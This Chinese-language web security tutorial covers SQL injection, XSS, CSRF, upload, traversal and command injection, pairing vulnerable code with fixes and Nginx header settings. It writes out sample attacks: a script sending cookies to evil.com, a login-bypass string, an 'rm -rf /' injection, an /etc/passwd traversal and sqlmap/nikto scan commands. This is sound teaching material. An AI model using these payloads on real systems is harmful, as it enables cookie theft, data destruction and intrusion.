主题
🌐 Web 应用安全
防火墙和系统加固保护了服务器本身,但真正的软肋往往在 Web 应用层。PHP/Python/Node.js 代码里的一个疏忽,就能让前面所有防线形同虚设。OWASP Top 10 是行业的"恐怖榜",我们逐一攻破。
SQL 注入
原理
攻击者在输入框中拼接恶意 SQL 片段,操控数据库执行非预期操作。
用户输入: ' OR '1'='1' --
拼接结果: SELECT * FROM users WHERE name = '' OR '1'='1' --'
结果: 绕过身份验证,返回所有用户防御:参数化查询
python
# ❌ 错误:字符串拼接
cursor.execute(f"SELECT * FROM users WHERE name = '{user_input}'")
# ✅ 正确:参数化查询
cursor.execute("SELECT * FROM users WHERE name = ?", (user_input,))php
// ❌ 错误
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
// ✅ 正确:PDO 预处理
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $_GET['id']]);javascript
// ❌ 错误(Node.js)
const query = `SELECT * FROM users WHERE name = '${req.body.name}'`;
// ✅ 正确
const [rows] = await db.execute(
'SELECT * FROM users WHERE name = ?', [req.body.name]
);黄金法则
永远不要相信用户输入。永远用参数化查询。 任何把用户输入拼接到 SQL 中的代码都是安全的定时炸弹。
ORM 如 Sequelize、SQLAlchemy 也做了自动参数化,但原生查询(raw query)仍需警惕。
XSS(跨站脚本攻击)
原理
攻击者在页面中注入恶意脚本,当其他用户浏览时在浏览器中执行。
存储型:恶意代码被存入数据库(如博客评论) 反射型:恶意代码在 URL 参数中,需要诱导点击 DOM 型:纯前端的 JS 注入,通过内嵌代码操作 DOM
html
<!-- 存储型:评论区内容直接渲染 -->
<script>fetch('https://evil.com/?c=' + document.cookie)</script>
<!-- 反射型:URL 参数未过滤 -->
https://example.com/search?q=<script>alert(1)</script>防御
html
<!-- 1. 输出编码(最重要) -->
<!-- 在服务端模板中: -->
<!-- Jinja2: {{ user_input }} → 自动转义 -->
<!-- EJS: <%= user_input %> → 自动转义,用 <%- 才不转义 -->
<!-- 2. CSP 头:限制脚本来源 -->
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123';Nginx 加 CSP:
nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted-cdn.com; style-src 'self' 'unsafe-inline';" always;javascript
// 3. 前端最佳实践
element.textContent = userInput; // ✅ 安全:不解析 HTML
element.innerHTML = userInput; // ❌ 危险:会解析 HTMLCSRF(跨站请求伪造)
原理
用户在已登录 example.com 的情况下,访问了攻击者的页面。攻击者页面自动发起一个对 example.com 的请求(如转账、修改密码),浏览器自动携带 example.com 的 Cookie,example.com 以为这是用户的正常操作。
防御
javascript
// 1. CSRF Token(最可靠)
// 服务端生成随机 token,嵌入表单
<form method="POST" action="/transfer">
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
<input name="amount">
</form>
// 后端验证:请求提交的 token 必须与 session 中一致
// 2. SameSite Cookie
Set-Cookie: session=abc123; SameSite=Lax; Secure; HttpOnly
// SameSite=Strict: 完全禁止跨站携带
// SameSite=Lax: 允许 GET 导航但不允许 POST(比较平衡)nginx
# 在反向代理层修改 Cookie 属性(Nginx >= 1.19.3)
# 注意:Set-Cookie 头需在应用层设置,Nginx 只能修改已有 Cookie 的属性
proxy_cookie_path / "/; HttpOnly; Secure; SameSite=Lax";文件上传安全
python
# 安全的文件上传处理
import os
import uuid
import magic
ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif', 'pdf'}
ALLOWED_MIMETYPES = {'image/jpeg', 'image/png', 'image/gif', 'application/pdf'}
MAX_SIZE = 10 * 1024 * 1024 # 10MB
def safe_upload(file):
# 1. 大小检查
if file.size > MAX_SIZE:
raise ValueError("文件过大")
# 2. MIME 类型检查(用 magic 检测实际内容,不是扩展名)
mime = magic.from_buffer(file.read(1024), mime=True)
file.seek(0)
if mime not in ALLOWED_MIMETYPES:
raise ValueError(f"不允许的文件类型: {mime}")
# 3. 用 UUID 生成随机文件名,不保留原始文件名
ext = file.filename.rsplit('.', 1)[-1].lower()
if ext not in ALLOWED_EXTENSIONS:
raise ValueError("不允许的扩展名")
safe_name = f"{uuid.uuid4().hex}.{ext}"
# 4. 存储到 Web 根目录之外,或配置为不解析脚本
upload_dir = '/var/uploads/'
file.save(os.path.join(upload_dir, safe_name))
# 5. 设置文件权限(去掉执行位)
os.chmod(os.path.join(upload_dir, safe_name), 0o644)危险
上传目录绝对不能在 Web 根目录下且允许脚本执行。攻击者上传 PHP 后门(如 shell.php)后,直接通过 URL 访问即可获得服务器控制权。
Nginx 限制上传目录:
nginx
# 上传目录禁止执行脚本
location /uploads/ {
location ~ \.php$ { deny all; }
location ~ \.pl$ { deny all; }
}
# 限制上传大小
client_max_body_size 10M;目录遍历
# 攻击者尝试:
https://example.com/download?file=../../../etc/passwd防御:
python
import os
BASE_DIR = '/var/uploads/'
def safe_read(filename):
real_path = os.path.realpath(os.path.join(BASE_DIR, filename))
if not real_path.startswith(os.path.realpath(BASE_DIR)):
raise ValueError("路径穿越攻击!")
with open(real_path) as f:
return f.read()命令注入
bash
# 用户输入: example.com; rm -rf /
# 拼接结果: ping -c 3 example.com; rm -rf /防御:
python
import subprocess
# ❌ 危险
os.system(f"ping -c 3 {user_input}")
# ✅ 只用参数列表,不用 shell
subprocess.run(["ping", "-c", "3", user_input], shell=False)Nginx 安全头配置
一套完整的安全头:
nginx
# 禁止页面被嵌入 iframe(防点击劫持)
add_header X-Frame-Options "DENY" always;
# 禁止 MIME 类型嗅探
add_header X-Content-Type-Options "nosniff" always;
# 引用策略
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# 权限策略(限制浏览器 API)
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
# CSP(内容安全策略)——最重量级的安全头
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-$request_id'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';" always;
# 移除服务器版本信息
server_tokens off;常用 Web 安全测试工具
| 工具 | 用途 | 一句话 |
|---|---|---|
| sqlmap | SQL 注入自动化探测/利用 | sqlmap -u "https://target.com/page?id=1" --dbs |
| nikto | Web 服务器漏洞扫描 | nikto -h https://target.com |
| OWASP ZAP | 全功能 Web 安全扫描器(GUI + API) | 适合自动化 CI/CD 集成 |
| Burp Suite | HTTP 代理/拦截/重放 | 手动渗透测试首选 |
bash
# 用 nmap 扫描 Web 漏洞
nmap --script http-sql-injection,http-csrf,http-xssed -p 443 target.com
# nikto 快速扫描
nikto -h https://example.com危险
上述工具仅限自己拥有或获得书面授权的系统。未经许可扫描他人系统可能触犯《刑法》第 285/286 条。
🧪 练习题
- 写一个登录接口,演示 SQL 注入攻击如何绕过验证,然后用参数化查询修复
- 搭建一个简单的留言板,演示 XSS 反射型攻击和 CSP 防御
- 用 Nginx 安全头配置一个 HTTPS 站点,用 securityheaders.com 检测评分
Web 层守住了,还要有持续的监控——入侵检测。
🎯 本章要点
- 参数化查询(预编译语句)是 SQL 注入核心防御手段
- Python 中用 ? 占位符 + 元组传参,绝不用 f-string 拼接用户输入
- XSS 防御核心是对用户输出进行 HTML 转义,将 < 变成 <